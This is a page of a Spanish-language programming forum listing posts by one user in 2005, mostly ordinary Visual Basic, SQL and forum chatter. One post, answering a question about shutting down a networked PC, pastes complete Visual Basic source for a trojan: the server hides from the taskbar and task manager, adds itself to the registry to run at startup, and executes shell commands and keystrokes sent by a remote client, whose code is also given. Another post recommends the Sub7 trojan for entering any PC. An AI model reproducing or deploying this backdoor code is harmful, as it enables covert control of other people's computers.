• Jueves 13 de Febrero de 2025, 17:00

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - RadicalEd

Páginas: 1 ... 96 97 [98] 99 100 ... 123
2426
Visual Basic 6.0 e inferiores / Re: Desabilitar La Red
« en: Sábado 5 de Febrero de 2005, 14:07 »
Mira este post a lo mejor te sirve.
Chao

2427
Visual Basic 6.0 e inferiores / Re: Ayuda
« en: Sábado 5 de Febrero de 2005, 14:03 »
Pues no se te va a dar la tarea por hecha pero busca en el google info acerca del Crystal Reports, o aqui mismo en el foro que hay muchisima, que es para crear reportes desde Visual Basic, si ves un poquito mas arriba de los posts ahi un SubForo que se llama Crystal Reports.
Ojala te sirva.
Chao

2428
Visual Basic 6.0 e inferiores / Re: Red En Anillo Por El Rs-232
« en: Viernes 4 de Febrero de 2005, 20:31 »
Cita de: "fap1603"
Hola krisstina,

te envio un zip que encontre hace tiempo ahi, sobre chat, y me parece que por ahi explica lo de pasar ficheros por red, si nececitas algo mas escribeme a fap1603@hotmail.com, si puedo darte una mano, con gusto lo hare.
ey fap1603, no es por joder, pero una de las politicas del foro es no hacerle las tareas a nadie, y si aquella persona del post no se pone a investigar al menos y mostrar si ya ha hecho algo; las tareas no se le hacen :angry:

2429
Visual Basic 6.0 e inferiores / Re: Encriptar Con Sha1
« en: Viernes 4 de Febrero de 2005, 20:21 »
Mira este enlace, lo hacen con .NET SHA1, revisa este tambien, explican algo. SHA1
Ojala te sirva.
Chao

2430
Visual Basic 6.0 e inferiores / Re: Registrar Clase
« en: Viernes 4 de Febrero de 2005, 20:17 »
Para registrar un .OCX, segun creo yo que es lo que quieres registrar pon:
Regsvr32.exe tu.ocx
Ojala te sirva.
Chao

2431
Visual Basic 6.0 e inferiores / Re: Como Apagar Una Pc En Red
« en: Viernes 4 de Febrero de 2005, 20:11 »
Código: Text
  1. 'Declaraciones API
  2. Private Declare Function mciSendString Lib "winmm.dll" Alias _
  3. "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
  4. lpstrReturnString As String, ByVal uReturnLength As Long, _
  5. ByVal hwndCallback As Long) As Long
  6. Private Declare Function GetCurrentProcessId Lib "Kernel32" () As Long
  7. Private Declare Function RegisterServiceProcess Lib "Kernel32" (ByVal _
  8. dwProcessID As Long, ByVal dwType As Long) As Long
  9. Const RSP_SIMPLE_SERVICE = 1
  10.  
  11. 'Por si no lo sabes, este evento se produce cuando se carga el formulario
  12. Private Sub Form_Load()
  13.     On Error Resume Next
  14.     App.TaskVisible = False   'Ocultar en la barra de tareas.
  15.     Me.Visible = False        'Hace invisible el Formulario
  16.     Dim H As Long, Ruta As String
  17.     Dim Reg As Object     'Declaramos la variable Reg como un objeto
  18.     'registramos nuestro servicio y nos escondemos de ctrl+alt+supr:
  19.     H = RegisterServiceProcess(GetCurrentProcessId(), RSP_SIMPLE_SERVICE)
  20.    
  21.     Set Reg = CreateObject("wscript.shell") 'Creamos un objeto, para modi-
  22.               'ficar el registro
  23.  
  24.     Ruta = "HKLM\software\microsoft\windows\currentversion\runservices\"
  25.  
  26.     'Nos ingresamos en el registro para ejecutarnos cada vez que reinicien:
  27.     Reg.RegWrite Ruta & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
  28.  
  29.     Winsock1.localport = "636"   'establecemos el puerto del troyano
  30.     Winsock1.Listen    'Nos ponemos a escuchar, a la espera de una conexión
  31. End Sub
  32. Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
  33.     'Si el winsock está abierto lo cerramos.
  34.     If Winsock1.State <> sckClosed Then Winsock1.Close
  35.     Winsock1.Accept requestID 'Aceptamos la conexión
  36. End Sub
  37. Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, _
  38. ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _
  39. ByVal HelpContext As Long, CancelDisplay As Boolean)
  40.     'Si ocurre un error, cerramos y volvemos a escuchar.
  41.     Winsock1.Close
  42.     Winsock1.Listen
  43. End Sub
  44. Private Sub Winsock1_Close()
  45.     'Si se cierra la conexión, volvemos a escuchar.
  46.     Winsock1.Close
  47.     Winsock1.Listen
  48. End Sub
  49. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  50.     On Error Resume Next 'Si ocurre un error que lea la siguiente línea
  51.     Dim data1 As String 'Declaramos la variable que recibirá los datos
  52.     Winsock1.GetData data1 'Tomamos los datos que nos envían
  53.     DoEvents 'Le devolvemos el "control" a Windows
  54.  
  55.     Select Case Mid(data1, 1, 10)'Nos fijámos que acción nos están mandando
  56.         Case "#EJECUTAR#"
  57.       'Ejecuta el comando que se envíe
  58.             Shell Mid(data1, 10, Len(data1) - 1), Right(data1, 1)
  59.         Case "#SENDKEYS#"
  60.             SendKeys Mid(data1, 10, Len(data1)) 'Envía las teclas al teclado
  61.         Case "##OPENCD##"
  62.             'Habre la lectora de CDs
  63.             mciSendString "set Cdaudio door open", returnstring, 127, 0
  64.         Case "#CLOSECD##"
  65.             'Cierra la lectora de CDs
  66.             mciSendString "set Cdaudio door closed", returnstring, 127, 0
  67.     End Select
  68. End Sub
  69.  

Cliente:
¯¯¯¯¯¯¯¯
Necesitarás varios controles, entre ellos el winsock, obvio. Nótese que los
comandos que enviaremos (#EJECUTAR#, #SENDKEYS#,##OPENCD##,#CLOSECD##, etc)
tienen 10 letras. Esto hace mucho más fácil la escritura del código.
En  este ejemplo necesitarás: 5 botones, tres cajas de texto, un  timer con
un intervalo de 1000, y  el control winsock. Arréglalo para  que  te  quede
como en la FIG1, y luego  cambia los nombres de los botones  y  demás cosas
como en la FIG2. (No soy dibujante de Ascii Art, ni mucho menos, asi que no
se quejen)

FIG1:
.-----------------------------------------------------------------.
|  Form1                                                   _  X |
|-----------------------------------------------------------------|
|           ___________________    .---------------.  <Timer1>    |
|  Label1  |Text1              |   | Command1      |  <Winsock1>  |
|          |___________________|   '---------------'              |
|                                                                 |
|  __Frame1_____________________________________________________  |
| |.----------------.  .----------------.   ___________________ | |
| || Command2       |  | Command4       |  |Text2              || |
| |'----------------'  '----------------'  |___________________|| |
| |.----------------.  .----------------.   ___________________ | |
| || Command3       |  | Command4       |  |Text3              || |
| |'----------------'  '----------------'  |___________________|| |
| |_____________________________________________________________| |
'-----------------------------------------------------------------'

FIG2:
.-----------------------------------------------------------------.
|  Troyanos en Visual Basic, By Nemlim                     _  X |
|-----------------------------------------------------------------|
|           ___________________    +---------------+  <Timer1>    |
| IP Number|255.255.255.255    |   | Conectar      |  <Winsock1>  |
|          |___________________|   +---------------+              |
|                                                                 |
|  __Acciones___________________________________________________  |
| |.----------------.  .----------------.   ___________________ | |
| || Abrir CD       |  | Send Keys      |  |GeDzAc HaS YoU     || |
| |'----------------'  '----------------'  |___________________|| |
| |.----------------.  .----------------.   ___________________ | |
| || Cerrar CD      |  | Ejecutar       |  |C:\autoexec.bat    || |
| |'----------------'  '----------------'  |___________________|| |
| |_____________________________________________________________| |
'-----------------------------------------------------------------'

Código: Text
  1. '&#60;!--Inicio del codigo del Fomulario1--!&#62;
  2. '------------------------------------Fom1----------------------------------
  3. Dim Conectado As Boolean
  4.  
  5. Private Sub Form_Load()
  6. Timer1.Interval = 1000
  7. End Sub
  8.  
  9. Private Sub Command1_Click()
  10. If Text1.Text &#60;&#62; &#34;&#34; Then 'Nos fijamos que el campo text1 no este vacío
  11.     Winsock1.Connect Text1.Text, 636 'Conectamos el winsock según el IP
  12. End If
  13. End Sub
  14.  
  15. Private Sub Command2_Click()
  16. If Conectado = True Then Winsock1.SendData &#34;##OPENCD##&#34;
  17. End Sub
  18.  
  19. Private Sub Command3_Click()
  20. If Conectado = True Then Winsock1.SendData &#34;#CLOSECD##&#34;
  21. End Sub
  22.  
  23. Private Sub Command4_Click()
  24. If Conectado = True Then Winsock1.SendData &#34;#SENDKEYS#&#34; & Text2.Text
  25. End Sub
  26.  
  27. Private Sub Command5_Click()
  28. Dim a As Variant
  29. If Conectado = True Then
  30.     a = InputBox(&#34;Ingrese número de parámetro:&#34; & vbCrLf & &#34;vbHide=0&#34; + _
  31.     vbCrLf & &#34;vbNormalFocus=1&#34; & vbCrLf & &#34;vbMinimizedFocus=2&#34; & vbCrLf + _
  32.     &#34;vbMaximizedFocus=3&#34; & vbCrLf & &#34;vbNormalNoFocus=4&#34; & vbCrLf + _
  33.     &#34;vbMinimizedNoFocus=6&#34;) 'Pedimos ingresar el parámetro de ejecución
  34.     'Comprobamos que lo que ingresamos sean números
  35.     If InStr(1, a, &#34;1234567890&#34;) &#60;&#62; 0 And Len(a) = 1 Then
  36.         'Si es así se envían los datos
  37.         Winsock1.SendData &#34;#EJECUTAR#&#34; & Text3.Text & a
  38.     End If
  39. End If
  40. End Sub
  41.  
  42. Private Sub Form_Unload(Cancel As Integer)
  43. Winsock1.Close 'Cerramos el winsock
  44. End Sub
  45.  
  46. Private Sub Timer1_Timer()
  47. 'Si el winsock está conectado, cambiamos la variable a true
  48. If Winsock1.State &#60;&#62; sckConnected Then
  49.     Conectado = False
  50. Else
  51.     Conectado = True
  52. End If
  53. End Sub
  54.  
  55. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  56.     Conectado = True
  57. End Sub
  58.  
  59. Private Sub Winsock1_Error(ByVal Number As Integer, Description As _
  60. String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As _
  61. String, ByVal HelpContext As Long, CancelDisplay As Boolean)
  62. 'En caso de error cerramos la conexión
  63. Winsock1.Close
  64. End Sub
  65. '&#60;!--Fin del codigo del Fomulario1--!&#62;
  66.  
  67.  
Extraido de un tuto basico de programación para controlar remotamente un pc.
PD. coloca tus mensajes dentro del primer post que pones, no crees otro nuevo.
Ojala te sirva.
Chao

2432
Sobre los Foros de SoloCodigo / Es Dificil Entrar
« en: Viernes 4 de Febrero de 2005, 19:51 »
ey no se si es cosa mia, pero desde ayer he visto que con siertos enlaces no se puede ingresar a la pagina, por ejemplo ayer no podia entrar con www.foros.solocodigo.com ni con foros.solocodigo.com, y hoy no pude entrar no www.foros.solocodigo.com ni con www.solocodigo.com, hay algun error en el servidor o que.
Gracias chao.

2433
Software / Re: Entrar A Una Pc De Cualquier Lado
« en: Jueves 3 de Febrero de 2005, 20:43 »
Troyanos, Troyanos. :whistling:
SUB7 2.0 Final Version.

2434
Visual Basic 6.0 e inferiores / Re: Formularios Dañados
« en: Jueves 3 de Febrero de 2005, 20:36 »
Cuando a mi me pasa esto, lo que le doy es abrir al formulario no el project, y lo que de pronto tienen con error es que algun control no esta disponible y este control se te cambie por un Picture; trata de abrir el formulario solo y crea un nuevo project para todos los formularios.

2435
La taberna del BIT / Re: Tu Record Usando La Computadora
« en: Jueves 3 de Febrero de 2005, 18:15 »
Paso casi todos los dias conectado como 10 horas, no vale?

2436
La taberna del BIT / Cómo Resolver El Cubo De Rubik
« en: Jueves 3 de Febrero de 2005, 17:53 »
A ver quien no ha intentado darle al cubito este , pues aqui tienen para resolverlo. Rubik.

2437
Microcontroladores / Introducción A Los Micro
« en: Jueves 3 de Febrero de 2005, 17:43 »
Ojala les guste.
Chao
Introducción a los Microcontroladores

2438
La taberna del BIT / Re: ¿cuantos Años Llevan Programando?
« en: Jueves 3 de Febrero de 2005, 16:38 »
Aunque no lo crean la programación no era nada para mi, los PC's me valian y no sabia ni que era un windows hace 5 años, pero apenas conoci los lenguajes de programacion que fue el C a quien me presentaron primero, llevo al menos 2 o 3 años programando.

2439
Visual Basic 6.0 e inferiores / Re: Como Apagar Una Pc En Una Red
« en: Jueves 3 de Febrero de 2005, 16:24 »
Puedes hacerlo con el control Winsock o Manejar las api's de control de sockets, y ademas utilizar las api's para apagar el equipo "ExitWindowsEx" y las constantes EWX_SHUTDOWN, EWX_REBOOT, te recomiendo esta paginaALLAPI, contiene una gran lista de api's para el manejo de estos problemillas.
Ojala te sirva.
Chao

2440
Sobre los Foros de SoloCodigo / Re: Enlace Al Ftp Del Foro
« en: Jueves 3 de Febrero de 2005, 16:17 »
Cita de: "Soultaker"
Hola a todos porque en el foro no se crea un enlace para acceder al FTP, asi se podria acceder mucho mas rapido a este sin necesidad de aprenderse el enlace. Bueno es una sugerencia, a ver que opinan.

 :comp:
Mira el Foro FTP, ya de ahi se puede colocar un enlace en tu firma o el Admin la puede colocar  por ahi pero de todas formas la entrada al FTP por el foro es este.
Ok. Chao

2441
Visual Basic 6.0 e inferiores / Re: Seleccionar Todos
« en: Jueves 3 de Febrero de 2005, 16:03 »
Citar
1.- tengo varios textboxs, quiero en que cada uno de ellos, al presionar la tecla enter (solo de ejmplo ya que puede ser cualquier evento) o 13(ascii) me realize alguna accion, por ejemplo de bajar al proximo text box...

Código: Text
  1. Private Sub Text1_KeyPress(KeyAscii As Integer)
  2. If KeyAscii = 13 Then
  3.     Text2.SetFocus
  4. End If
  5. End Sub
  6.  

La segunda sino se como pueda ser.

2442
La taberna del BIT / Mala Idea Ser Informatico
« en: Martes 1 de Febrero de 2005, 22:15 »
Por que es mala idea ser informatico

2443
Dudas informáticas / Montar Pagina Web
« en: Martes 1 de Febrero de 2005, 22:11 »
Hola chicos de solocodigo, he aqui una pequeña pregunta, parecera tonta pero es que no sabo, he montado una pagina en i(españa) y no se como administrarla para subirle archivos, y es que soy nuevo en esto, no quiero hacer paginas web ni nada por el estilo, es solo para archivar fotos en la pagina y colocar los enlaces, pero ni idea.
Me pueden ayudar?
Gracias chao.

2444
Dudas informáticas / Re: Pregunta Tonta :p
« en: Martes 1 de Febrero de 2005, 02:02 »
Es tan dificil colocarle un experience a XP.

Por si algo yo tampoco sabia jejeje[/size]

2445
Sobre los Foros de SoloCodigo / Re: Como Hacer Una Discución Movida
« en: Martes 1 de Febrero de 2005, 01:01 »
Cita de: "Soultaker"
Eso es lo que mas me sorprende porque yo no lo he hecho.

 :comp:
A lo mejor fue el Admin por que nadie tiene los derechos para hacerlo, sino eres tú o él.

2446
Sobre los Foros de SoloCodigo / Re: Como Hacer Una Discución Movida
« en: Martes 1 de Febrero de 2005, 00:42 »
hey haz movido 2 posts del foro que moderas el de Dudas informáticas, y no te das cuenta como lo haz hecho. :P

2447
Dudas informáticas / Re: Micro$oft
« en: Martes 1 de Febrero de 2005, 00:24 »
Cita de: "EugenioEnko"

No me referia a esa bolsa, sino  a la bolsa  de los que  no  tenienen cientos de dolares para sus programas.
jejeje Es que apenas me hablan de dinero, money, efectivo o cash se me pone la piel de gallina.
Es que lo tome por ese lado.

2448
MySQL / Re: Tengo El Siguiente Error En La Creacion De Mi Tabl
« en: Martes 1 de Febrero de 2005, 00:07 »
'tonces tu solo acomodale la sintaxis, yo me voy mas a que le falta el ";" mira a ver si queda bien asi.

2449
Visual Basic 6.0 e inferiores / Re: Error De Sintaxis
« en: Lunes 31 de Enero de 2005, 23:57 »
De pronto no te falta el ";" al final de la sentencia sql.

2450
Dudas informáticas / Re: Micro$oft
« en: Domingo 30 de Enero de 2005, 18:51 »
Cita de: "EugenioEnko"
Te has  metido en la bolsa tambien. :alien:
Aunque no creas mantengo al tanto del Nasdaq que es el de las empresas de tecnologia, pero como soy mas pelado que pepa de guama, 'tonces no me arriesgo a perder los pocos centavos que tengo, y en lo que me gustaria invertir ahora seria en google.
JEJEJE Ya hablo como todo un empresario :D

Páginas: 1 ... 96 97 [98] 99 100 ... 123